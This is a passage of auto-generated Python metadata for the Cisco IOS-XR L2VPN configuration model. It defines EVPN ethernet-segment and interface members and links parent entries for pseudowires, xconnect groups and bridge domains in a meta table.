service carving ''', 'enable', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('service-list', REFERENCE_CLASS, 'ServiceList' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'Evpn.EvpnTables.EvpnInterfaces.EvpnInterface.EthernetSegment.ManualServiceCarving.ServiceList', [], [], ''' Manual service carving primary,secondary lists ''', 'service_list', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'manual-service-carving', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'Evpn.EvpnTables.EvpnInterfaces.EvpnInterface.EthernetSegment' : { 'meta_info' : _MetaInfoClass('Evpn.EvpnTables.EvpnInterfaces.EvpnInterface.EthernetSegment', False, [ _MetaInfoClassMember('backbone-source-mac', ATTRIBUTE, 'str' , None, None, [], ['[0-9a-fA-F]{2}(:[0-9a-fA-F]{2}){5}'], ''' Backbone Source MAC ''', 'backbone_source_mac', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('enable', ATTRIBUTE, 'Empty' , None, None, [], [], ''' Enable Ethernet Segment ''', 'enable', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('es-import-route-target', ATTRIBUTE, 'str' , None, None, [], ['[0-9a-fA-F]{2}(:[0-9a-fA-F]{2}){5}'], ''' ES-Import Route Target ''', 'es_import_route_target', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('force-single-homed', ATTRIBUTE, 'Empty' , None, None, [], [], ''' Force ethernet segment to remain single-homed ''', 'force_single_homed', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('identifier-type0', REFERENCE_CLASS, 'IdentifierType0' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'Evpn.EvpnTables.EvpnInterfaces.EvpnInterface.EthernetSegment.IdentifierType0', [], [], ''' Ethernet segment identifier (Type 0) ''', 'identifier_type0', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('load-balancing-per-service', ATTRIBUTE, 'Empty' , None, None, [], [], ''' Enable per service load balancing mode ''', 'load_balancing_per_service', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('manual-service-carving', REFERENCE_CLASS, 'ManualServiceCarving' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'Evpn.EvpnTables.EvpnInterfaces.EvpnInterface.EthernetSegment.ManualServiceCarving', [], [], ''' Enter Manual service carving configuration submode ''', 'manual_service_carving', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'ethernet-segment', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'Evpn.EvpnTables.EvpnInterfaces.EvpnInterface' : { 'meta_info' : _MetaInfoClass('Evpn.EvpnTables.EvpnInterfaces.EvpnInterface', False, [ _MetaInfoClassMember('interface-name', ATTRIBUTE, 'str' , None, None, [], ['(([a-zA-Z0-9_]*\\d+/){3,4}\\d+)|(([a-zA-Z0-9_]*\\d+/){3,4}\\d+\\.\\d+)|(([a-zA-Z0-9_]*\\d+/){2}([a-zA-Z0-9_]*\\d+))|(([a-zA-Z0-9_]*\\d+/){2}([a-zA-Z0-9_]+))|([a-zA-Z0-9_-]*\\d+)|([a-zA-Z0-9_-]*\\d+\\.\\d+)|(mpls)|(dwdm)'], ''' Name of the attachment circuit interface ''', 'interface_name', 'Cisco-IOS-XR-l2vpn-cfg', True), _MetaInfoClassMember('ethernet-segment', REFERENCE_CLASS, 'EthernetSegment' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'Evpn.EvpnTables.EvpnInterfaces.EvpnInterface.EthernetSegment', [], [], ''' Enter Ethernet Segment configuration submode ''', 'ethernet_segment', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('evpnac-timers', REFERENCE_CLASS, 'EvpnacTimers' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'Evpn.EvpnTables.EvpnInterfaces.EvpnInterface.EvpnacTimers', [], [], ''' Enter Interface-specific timers configuration submode ''', 'evpnac_timers', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('mac-flush', ATTRIBUTE, 'Empty' , None, None, [], [], ''' Enable MVRP MAC Flush mode ''', 'mac_flush', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'evpn-interface', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'Evpn.EvpnTables.EvpnInterfaces' : { 'meta_info' : _MetaInfoClass('Evpn.EvpnTables.EvpnInterfaces', False, [ _MetaInfoClassMember('evpn-interface', REFERENCE_LIST, 'EvpnInterface' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'Evpn.EvpnTables.EvpnInterfaces.EvpnInterface', [], [], ''' Attachment circuit interface ''', 'evpn_interface', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'evpn-interfaces', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'Evpn.EvpnTables' : { 'meta_info' : _MetaInfoClass('Evpn.EvpnTables', False, [ _MetaInfoClassMember('evpn-interfaces', REFERENCE_CLASS, 'EvpnInterfaces' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'Evpn.EvpnTables.EvpnInterfaces', [], [], ''' Attachment Circuit interfaces ''', 'evpn_interfaces', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('evpn-load-balancing', REFERENCE_CLASS, 'EvpnLoadBalancing' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'Evpn.EvpnTables.EvpnLoadBalancing', [], [], ''' Enter EVPN Loadbalancing configuration submode ''', 'evpn_load_balancing', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('evpn-timers', REFERENCE_CLASS, 'EvpnTimers' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'Evpn.EvpnTables.EvpnTimers', [], [], ''' Enter EVPN timers configuration submode ''', 'evpn_timers', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('evpnbgp-auto-discovery', REFERENCE_CLASS, 'EvpnbgpAutoDiscovery' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'Evpn.EvpnTables.EvpnbgpAutoDiscovery', [], [], ''' Enable Autodiscovery BGP in EVPN ''', 'evpnbgp_auto_discovery', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('evpnevis', REFERENCE_CLASS, 'Evpnevis' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'Evpn.EvpnTables.Evpnevis', [], [], ''' Enter EVPN EVI configuration submode ''', 'evpnevis', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'evpn-tables', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'Evpn' : { 'meta_info' : _MetaInfoClass('Evpn', False, [ _MetaInfoClassMember('enable', ATTRIBUTE, 'Empty' , None, None, [], [], ''' Enable EVPN feature ''', 'enable', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('evpn-tables', REFERENCE_CLASS, 'EvpnTables' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'Evpn.EvpnTables', [], [], ''' EVPN submodes ''', 'evpn_tables', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'evpn', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, } _meta_table['L2Vpn.PwRouting.PwRoutingBgp.EvpnRouteDistinguisher']['meta_info'].parent =_meta_table['L2Vpn.PwRouting.PwRoutingBgp']['meta_info'] _meta_table['L2Vpn.PwRouting.PwRoutingBgp']['meta_info'].parent =_meta_table['L2Vpn.PwRouting']['meta_info'] _meta_table['L2Vpn.Database.G8032Rings.G8032Ring.ErpPort0S.ErpPort0']['meta_info'].parent =_meta_table['L2Vpn.Database.G8032Rings.G8032Ring.ErpPort0S']['meta_info'] _meta_table['L2Vpn.Database.G8032Rings.G8032Ring.ErpInstances.ErpInstance.Aps.Port1']['meta_info'].parent =_meta_table['L2Vpn.Database.G8032Rings.G8032Ring.ErpInstances.ErpInstance.Aps']['meta_info'] _meta_table['L2Vpn.Database.G8032Rings.G8032Ring.ErpInstances.ErpInstance.Rpl']['meta_info'].parent =_meta_table['L2Vpn.Database.G8032Rings.G8032Ring.ErpInstances.ErpInstance']['meta_info'] _meta_table['L2Vpn.Database.G8032Rings.G8032Ring.ErpInstances.ErpInstance.Aps']['meta_info'].parent =_meta_table['L2Vpn.Database.G8032Rings.G8032Ring.ErpInstances.ErpInstance']['meta_info'] _meta_table['L2Vpn.Database.G8032Rings.G8032Ring.ErpInstances.ErpInstance']['meta_info'].parent =_meta_table['L2Vpn.Database.G8032Rings.G8032Ring.ErpInstances']['meta_info'] _meta_table['L2Vpn.Database.G8032Rings.G8032Ring.ErpPort1S.ErpPort1.None_']['meta_info'].parent =_meta_table['L2Vpn.Database.G8032Rings.G8032Ring.ErpPort1S.ErpPort1']['meta_info'] _meta_table['L2Vpn.Database.G8032Rings.G8032Ring.ErpPort1S.ErpPort1.VirtualOrInterface']['meta_info'].parent =_meta_table['L2Vpn.Database.G8032Rings.G8032Ring.ErpPort1S.ErpPort1']['meta_info'] _meta_table['L2Vpn.Database.G8032Rings.G8032Ring.ErpPort1S.ErpPort1']['meta_info'].parent =_meta_table['L2Vpn.Database.G8032Rings.G8032Ring.ErpPort1S']['meta_info'] _meta_table['L2Vpn.Database.G8032Rings.G8032Ring.ErpPort0S']['meta_info'].parent =_meta_table['L2Vpn.Database.G8032Rings.G8032Ring']['meta_info'] _meta_table['L2Vpn.Database.G8032Rings.G8032Ring.ErpInstances']['meta_info'].parent =_meta_table['L2Vpn.Database.G8032Rings.G8032Ring']['meta_info'] _meta_table['L2Vpn.Database.G8032Rings.G8032Ring.ErpPort1S']['meta_info'].parent =_meta_table['L2Vpn.Database.G8032Rings.G8032Ring']['meta_info'] _meta_table['L2Vpn.Database.G8032Rings.G8032Ring']['meta_info'].parent =_meta_table['L2Vpn.Database.G8032Rings']['meta_info'] _meta_table['L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.BackupAttachmentCircuits.BackupAttachmentCircuit']['meta_info'].parent =_meta_table['L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.BackupAttachmentCircuits']['meta_info'] _meta_table['L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.PseudowireEvpns.PseudowireEvpn']['meta_info'].parent =_meta_table['L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.PseudowireEvpns']['meta_info'] _meta_table['L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.Neighbor.BackupPseudowires.BackupPseudowire.BackupMplsStaticLabels']['meta_info'].parent =_meta_table['L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.Neighbor.BackupPseudowires.BackupPseudowire']['meta_info'] _meta_table['L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.Neighbor.BackupPseudowires.BackupPseudowire']['meta_info'].parent =_meta_table['L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.Neighbor.BackupPseudowires']['meta_info'] _meta_table['L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.Neighbor.L2TpStaticAttributes.L2TpRemoteCookie']['meta_info'].parent =_meta_table['L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.Neighbor.L2TpStaticAttributes']['meta_info'] _meta_table['L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.Neighbor.L2TpStaticAttributes.L2TpSecondaryLocalCookie']['meta_info'].parent =_meta_table['L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.Neighbor.L2TpStaticAttributes']['meta_info'] _meta_table['L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.Neighbor.L2TpStaticAttributes.L2TpLocalCookie']['meta_info'].parent =_meta_table['L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.Neighbor.L2TpStaticAttributes']['meta_info'] _meta_table['L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.Neighbor.MplsStaticLabels']['meta_info'].parent =_meta_table['L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.Neighbor']['meta_info'] _meta_table['L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.Neighbor.BackupPseudowires']['meta_info'].parent =_meta_table['L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.Neighbor']['meta_info'] _meta_table['L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.Neighbor.L2TpStaticAttributes']['meta_info'].parent =_meta_table['L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.Neighbor']['meta_info'] _meta_table['L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.Neighbor.L2TpStatic']['meta_info'].parent =_meta_table['L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.Neighbor']['meta_info'] _meta_table['L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.PseudowireAddress.BackupPseudowires.BackupPseudowire.BackupMplsStaticLabels']['meta_info'].parent =_meta_table['L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.PseudowireAddress.BackupPseudowires.BackupPseudowire']['meta_info'] _meta_table['L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.PseudowireAddress.BackupPseudowires.BackupPseudowire']['meta_info'].parent =_meta_table['L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.PseudowireAddress.BackupPseudowires']['meta_info'] _meta_table['L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.PseudowireAddress.L2TpStaticAttributes.L2TpRemoteCookie']['meta_info'].parent =_meta_table['L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.PseudowireAddress.L2TpStaticAttributes']['meta_info'] _meta_table['L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.PseudowireAddress.L2TpStaticAttributes.L2TpSecondaryLocalCookie']['meta_info'].parent =_meta_table['L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.PseudowireAddress.L2TpStaticAttributes']['meta_info'] _meta_table['L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.PseudowireAddress.L2TpStaticAttributes.L2TpLocalCookie']['meta_info'].parent =_meta_table['L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.PseudowireAddress.L2TpStaticAttributes']['meta_info'] _meta_table['L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.PseudowireAddress.MplsStaticLabels']['meta_info'].parent =_meta_table['L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.PseudowireAddress']['meta_info'] _meta_table['L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.PseudowireAddress.BackupPseudowires']['meta_info'].parent =_meta_table['L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.PseudowireAddress']['meta_info'] _meta_table['L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.PseudowireAddress.L2TpStaticAttributes']['meta_info'].parent =_meta_table['L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.PseudowireAddress']['meta_info'] _meta_table['L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.PseudowireAddress.L2TpStatic']['meta_info'].parent =_meta_table['L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.PseudowireAddress']['meta_info'] _meta_table['L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.Neighbor']['meta_info'].parent =_meta_table['L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire']['meta_info'] _meta_table['L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.PseudowireAddress']['meta_info'].parent =_meta_table['L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire']['meta_info'] _meta_table['L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire']['meta_info'].parent =_meta_table['L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires']['meta_info'] _meta_table['L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.MonitorSessions.MonitorSession']['meta_info'].parent =_meta_table['L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.MonitorSessions']['meta_info'] _meta_table['L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.PseudowireRouteds.PseudowireRouted']['meta_info'].parent =_meta_table['L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.PseudowireRouteds']['meta_info'] _meta_table['L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.AttachmentCircuits.AttachmentCircuit']['meta_info'].parent =_meta_table['L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.AttachmentCircuits']['meta_info'] _meta_table['L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.BackupAttachmentCircuits']['meta_info'].parent =_meta_table['L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect']['meta_info'] _meta_table['L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.PseudowireEvpns']['meta_info'].parent =_meta_table['L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect']['meta_info'] _meta_table['L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires']['meta_info'].parent =_meta_table['L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect']['meta_info'] _meta_table['L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.MonitorSessions']['meta_info'].parent =_meta_table['L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect']['meta_info'] _meta_table['L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.PseudowireRouteds']['meta_info'].parent =_meta_table['L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect']['meta_info'] _meta_table['L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.AttachmentCircuits']['meta_info'].parent =_meta_table['L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect']['meta_info'] _meta_table['L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect']['meta_info'].parent =_meta_table['L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects']['meta_info'] _meta_table['L2Vpn.Database.XconnectGroups.XconnectGroup.Mp2MpXconnects.Mp2MpXconnect.Mp2MpAutoDiscovery.Mp2MpRouteTargets.Mp2MpRouteTarget.TwoByteAsOrFourByteAs']['meta_info'].parent =_meta_table['L2Vpn.Database.XconnectGroups.XconnectGroup.Mp2MpXconnects.Mp2MpXconnect.Mp2MpAutoDiscovery.Mp2MpRouteTargets.Mp2MpRouteTarget']['meta_info'] _meta_table['L2Vpn.Database.XconnectGroups.XconnectGroup.Mp2MpXconnects.Mp2MpXconnect.Mp2MpAutoDiscovery.Mp2MpRouteTargets.Mp2MpRouteTarget.Ipv4Address']['meta_info'].parent =_meta_table['L2Vpn.Database.XconnectGroups.XconnectGroup.Mp2MpXconnects.Mp2MpXconnect.Mp2MpAutoDiscovery.Mp2MpRouteTargets.Mp2MpRouteTarget']['meta_info'] _meta_table['L2Vpn.Database.XconnectGroups.XconnectGroup.Mp2MpXconnects.Mp2MpXconnect.Mp2MpAutoDiscovery.Mp2MpRouteTargets.Mp2MpRouteTarget']['meta_info'].parent =_meta_table['L2Vpn.Database.XconnectGroups.XconnectGroup.Mp2MpXconnects.Mp2MpXconnect.Mp2MpAutoDiscovery.Mp2MpRouteTargets']['meta_info'] _meta_table['L2Vpn.Database.XconnectGroups.XconnectGroup.Mp2MpXconnects.Mp2MpXconnect.Mp2MpAutoDiscovery.Mp2MpSignalingProtocol.Ceids.Ceid.RemoteCeidAttachmentCircuits.RemoteCeidAttachmentCircuit']['meta_info'].parent =_meta_table['L2Vpn.Database.XconnectGroups.XconnectGroup.Mp2MpXconnects.Mp2MpXconnect.Mp2MpAutoDiscovery.Mp2MpSignalingProtocol.Ceids.Ceid.RemoteCeidAttachmentCircuits']['meta_info'] _meta_table['L2Vpn.Database.XconnectGroups.XconnectGroup.Mp2MpXconnects.Mp2MpXconnect.Mp2MpAutoDiscovery.Mp2MpSignalingProtocol.Ceids.Ceid.RemoteCeidAttachmentCircuits']['meta_info'].parent =_meta_table['L2Vpn.Database.XconnectGroups.XconnectGroup.Mp2MpXconnects.Mp2MpXconnect.Mp2MpAutoDiscovery.Mp2MpSignalingProtocol.Ceids.Ceid']['meta_info'] _meta_table['L2Vpn.Database.XconnectGroups.XconnectGroup.Mp2MpXconnects.Mp2MpXconnect.Mp2MpAutoDiscovery.Mp2MpSignalingProtocol.Ceids.Ceid']['meta_info'].parent =_meta_table['L2Vpn.Database.XconnectGroups.XconnectGroup.Mp2MpXconnects.Mp2MpXconnect.Mp2MpAutoDiscovery.Mp2MpSignalingProtocol.Ceids']['meta_info'] _meta_table['L2Vpn.Database.XconnectGroups.XconnectGroup.Mp2MpXconnects.Mp2MpXconnect.Mp2MpAutoDiscovery.Mp2MpSignalingProtocol.FlowLabelLoadBalance']['meta_info'].parent =_meta_table['L2Vpn.Database.XconnectGroups.XconnectGroup.Mp2MpXconnects.Mp2MpXconnect.Mp2MpAutoDiscovery.Mp2MpSignalingProtocol']['meta_info'] _meta_table['L2Vpn.Database.XconnectGroups.XconnectGroup.Mp2MpXconnects.Mp2MpXconnect.Mp2MpAutoDiscovery.Mp2MpSignalingProtocol.Ceids']['meta_info'].parent =_meta_table['L2Vpn.Database.XconnectGroups.XconnectGroup.Mp2MpXconnects.Mp2MpXconnect.Mp2MpAutoDiscovery.Mp2MpSignalingProtocol']['meta_info'] _meta_table['L2Vpn.Database.XconnectGroups.XconnectGroup.Mp2MpXconnects.Mp2MpXconnect.Mp2MpAutoDiscovery.RouteDistinguisher']['meta_info'].parent =_meta_table['L2Vpn.Database.XconnectGroups.XconnectGroup.Mp2MpXconnects.Mp2MpXconnect.Mp2MpAutoDiscovery']['meta_info'] _meta_table['L2Vpn.Database.XconnectGroups.XconnectGroup.Mp2MpXconnects.Mp2MpXconnect.Mp2MpAutoDiscovery.Mp2MpRoutePolicy']['meta_info'].parent =_meta_table['L2Vpn.Database.XconnectGroups.XconnectGroup.Mp2MpXconnects.Mp2MpXconnect.Mp2MpAutoDiscovery']['meta_info'] _meta_table['L2Vpn.Database.XconnectGroups.XconnectGroup.Mp2MpXconnects.Mp2MpXconnect.Mp2MpAutoDiscovery.Mp2MpRouteTargets']['meta_info'].parent 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_meta_table['L2Vpn.Database.XconnectGroups.XconnectGroup.Mp2MpXconnects']['meta_info'].parent =_meta_table['L2Vpn.Database.XconnectGroups.XconnectGroup']['meta_info'] _meta_table['L2Vpn.Database.XconnectGroups.XconnectGroup']['meta_info'].parent =_meta_table['L2Vpn.Database.XconnectGroups']['meta_info'] _meta_table['L2Vpn.Database.BridgeDomainGroups.BridgeDomainGroup.BridgeDomains.BridgeDomain.BdStormControls.BdStormControl.StormControlUnit']['meta_info'].parent =_meta_table['L2Vpn.Database.BridgeDomainGroups.BridgeDomainGroup.BridgeDomains.BridgeDomain.BdStormControls.BdStormControl']['meta_info'] _meta_table['L2Vpn.Database.BridgeDomainGroups.BridgeDomainGroup.BridgeDomains.BridgeDomain.BdStormControls.BdStormControl']['meta_info'].parent =_meta_table['L2Vpn.Database.BridgeDomainGroups.BridgeDomainGroup.BridgeDomains.BridgeDomain.BdStormControls']['meta_info'] _meta_table['L2Vpn.Database.BridgeDomainGroups.BridgeDomainGroup.BridgeDomains.BridgeDomain.MemberVnis.MemberVni.MemberVniStaticMacAddresses.MemberVniStaticMacAddress']['meta_info'].parent =_meta_table['L2Vpn.Database.BridgeDomainGroups.BridgeDomainGroup.BridgeDomains.BridgeDomain.MemberVnis.MemberVni.MemberVniStaticMacAddresses']['meta_info'] _meta_table['L2Vpn.Database.BridgeDomainGroups.BridgeDomainGroup.BridgeDomains.BridgeDomain.MemberVnis.MemberVni.MemberVniStaticMacAddresses']['meta_info'].parent =_meta_table['L2Vpn.Database.BridgeDomainGroups.BridgeDomainGroup.BridgeDomains.BridgeDomain.MemberVnis.MemberVni']['meta_info'] _meta_table['L2Vpn.Database.BridgeDomainGroups.BridgeDomainGroup.BridgeDomains.BridgeDomain.MemberVnis.MemberVni']['meta_info'].parent =_meta_table['L2Vpn.Database.BridgeDomainGroups.BridgeDomainGroup.BridgeDomains.BridgeDomain.MemberVnis']['meta_info'] _meta_table['L2Vpn.Database.BridgeDomainGroups.BridgeDomainGroup.BridgeDomains.BridgeDomain.BridgeDomainMac.BdMacFilters.BdMacFilter']['meta_info'].parent =_meta_table['L2Vpn.Database.BridgeDomainGroups.BridgeDomainGroup.BridgeDomains.BridgeDomain.BridgeDomainMac.BdMacFilters']['meta_info'] _meta_table['L2Vpn.Database.BridgeDomainGroups.BridgeDomainGroup.BridgeDomains.BridgeDomain.BridgeDomainMac.BdMacLimit']['meta_info'].parent =_meta_table['L2Vpn.Database.BridgeDomainGroups.BridgeDomainGroup.BridgeDomains.BridgeDomain.BridgeDomainMac']['meta_info'] _meta_table['L2Vpn.Database.BridgeDomainGroups.BridgeDomainGroup.BridgeDomains.BridgeDomain.BridgeDomainMac.BdMacFilters']['meta_info'].parent =_meta_table['L2Vpn.Database.BridgeDomainGroups.BridgeDomainGroup.BridgeDomains.BridgeDomain.BridgeDomainMac']['meta_info'] _meta_table['L2Vpn.Database.BridgeDomainGroups.BridgeDomainGroup.BridgeDomains.BridgeDomain.BridgeDomainMac.MacSecure']['meta_info'].parent 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=_meta_table['L2Vpn.Database.BridgeDomainGroups.BridgeDomainGroup.BridgeDomains.BridgeDomain.BridgeDomainPbb.PbbEdges.PbbEdge.PbbEdgeMac']['meta_info'] _meta_table['L2Vpn.Database.BridgeDomainGroups.BridgeDomainGroup.BridgeDomains.BridgeDomain.BridgeDomainPbb.PbbEdges.PbbEdge.PbbEdgeMac.PbbEdgeMacAging']['meta_info'].parent =_meta_table['L2Vpn.Database.BridgeDomainGroups.BridgeDomainGroup.BridgeDomains.BridgeDomain.BridgeDomainPbb.PbbEdges.PbbEdge.PbbEdgeMac']['meta_info'] _meta_table['L2Vpn.Database.BridgeDomainGroups.BridgeDomainGroup.BridgeDomains.BridgeDomain.BridgeDomainPbb.PbbEdges.PbbEdge.PbbEdgeMac.PbbEdgeMacSecure']['meta_info'].parent =_meta_table['L2Vpn.Database.BridgeDomainGroups.BridgeDomainGroup.BridgeDomains.BridgeDomain.BridgeDomainPbb.PbbEdges.PbbEdge.PbbEdgeMac']['meta_info'] 